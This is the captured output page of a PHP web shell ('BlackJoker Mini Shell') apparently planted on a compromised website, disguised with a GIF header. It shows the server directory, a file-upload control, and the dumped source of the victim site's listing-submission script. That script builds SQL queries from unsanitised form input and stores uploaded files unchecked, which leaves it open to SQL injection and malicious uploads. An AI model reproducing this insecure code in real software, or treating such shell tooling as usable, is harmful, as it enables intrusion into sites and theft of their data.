GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/
Upload File :
Current File : /home/serb/public_html/addmsgparl-process.php

<?
 session_start();
 include("lib/globals.php");
 include("lib/common.php");
 include("lib/functions.php");
 ?>
 <?
if($_POST)
{
	$Monday='Monday#'.$_POST['monday_open'].':'.'00'.$_POST['monopenampm'].' - '.$_POST['monday_close'].':'.'00'.$_POST['monopenampm'].';';
	$Tuesday='Tuesday#'.$_POST['tuesday_open'].':'.'00'.$_POST['tueopenampm'].' - '.$_POST['tuesday_close'].':'.'00'.$_POST['tuecloseampm'].';';
	$Wednesday='Wednesday#'.$_POST['wednesday_open'].':'.'00'.$_POST['wedopenampm'].' - '.$_POST['wednesday_close'].':'.'00'.$_POST['wedcloseampm'].';';
	$Thursday='Thursday#'.$_POST['thrus_open'].':'.'00'.$_POST['thuopenampm'].' - '.$_POST['thrusday_close'].':'.'00'.$_POST['thucloseampm'].';';
	$Friday='Friday#'.$_POST['friday_open'].':'.'00'.$_POST['friopenampm'].' - '.$_POST['frinesday_close'].':'.'00'.$_POST['fricloseampm'].';';
	$Saturday='Saturday#'.$_POST['saturday_open'].':'.'00'.$_POST['sutopenampm'].' - '.$_POST['saturday_close'].':'.'00'.$_POST['satcloseampm'].';';
	$Sunday='Sunday#'.$_POST['sunday_open'].':'.'00'.$_POST['sunopenampm'].' - '.$_POST['sunday_close'].':'.'00'.$_POST['suncloseampm'].';';		
	
	$club_time=	$Monday.$Tuesday.$Wednesday.$Thursday.$Friday.$Saturday.$Sunday;
	
	$date=date('Y-m-d');
	$parlorname=$_POST['parlorName'];
    $cityy=$_POST['prlCities'];
	$cityname=$_POST['cityname'];
	$sql_cord="select * from citys where id='".$_POST['prlCities']."'";
	$res_cord=execute_query($sql_cord);
	$row_cord=mysql_fetch_array($res_cord);
	
	$coordinate=$row_cord['coordinates'];
    $statee=$_POST['prlState'];
	$address=$_POST['prlAddress'];
	
	$address = $_POST['prlAddress'];
  
  $url = 'http://maps.googleapis.com/maps/api/geocode/xml?address='.urlencode($address).'&sensor=true';
  $xml = simplexml_load_file($url);
  
  $status = $xml->status;
  
  if($status=="OK"){
      $latitude = $xml->result[0]->geometry->location->lat;
      $longitude = $xml->result[0]->geometry->location->lng;
      echo 'Latitude = '.$latitude;
      echo '<br>';
      echo 'Longitude = '.$longitude;
  }
			
	$zipcode=$_POST['zipCode'];
	$phoneno=$_POST['parlPhone'];
	$weburl=$_POST['webUrl'];
	$emailid=$_POST['email'];
	$mjrstreet=$_POST['mrStreet'];
	$trukpark=$_POST['truckParking'];
	$pvtpark=$_POST['pvtParking'];
	$tblswore=$_POST['tblShower'];
	$souna=$_POST['sauna'];
	$jacuzzi=$_POST['jacuzzi'];
	$prvtswore=$_POST['pvforShower'];
	$frhandmsg=$_POST['frhandmsg'];
	$nonertmsg=$_POST['nonEroticmsg'];
	if($_FILES['avt_image']['tmp_name'])
		{
			$manu_imagename1=time().$_FILES['avt_image']['name'];
			move_uploaded_file($_FILES['avt_image']['tmp_name'],'avtar/'.$manu_imagename1);
		}
		
		$ins="INSERT INTO massageparlor(id,name,street,state_id,city_id,zipCode,phoneNumber,hours,Website,email,majorStreets,thirtyMinute,fortyFive,sixty,ninetyMinute,tableShower,sauna,
		jacuzzi,semiTruckParking,privateparking,privacyForShower,fourhdmsg,noneroticmsg,user_id,create_time,latitude,longitude,coordinates,status,pic) VALUES('',
		'$parlorname',
		'$address',
		'$statee',
		'$cityy',
		'$zipcode',
		'$phoneno',
		'$club_time',
		'$weburl',
		'$emailid',
		'$mjrstreet',
		'".$_POST['thirtMint']."',
		'".$_POST['fortMint']."',
		'".$_POST['sixtyMint']."',
		'".$_POST['nintyMint']."','$tblswore','$souna','$jacuzzi','$trukpark','$pvtpark','$prvtswore','$frhandmsg',
		'$nonertmsg','".$_SESSION['userid']."','$date','$latitude','$longitude','$coordinate','u','$manu_imagename1')";
	execute_query($ins);?>
     <script language="javascript">
	 	alert("Your Massage parlor created Successfully");
    	location.href="add_massageparlor.php";
    </script><?
    
	
}

?>

./BlackJoker Mini Shell 1.0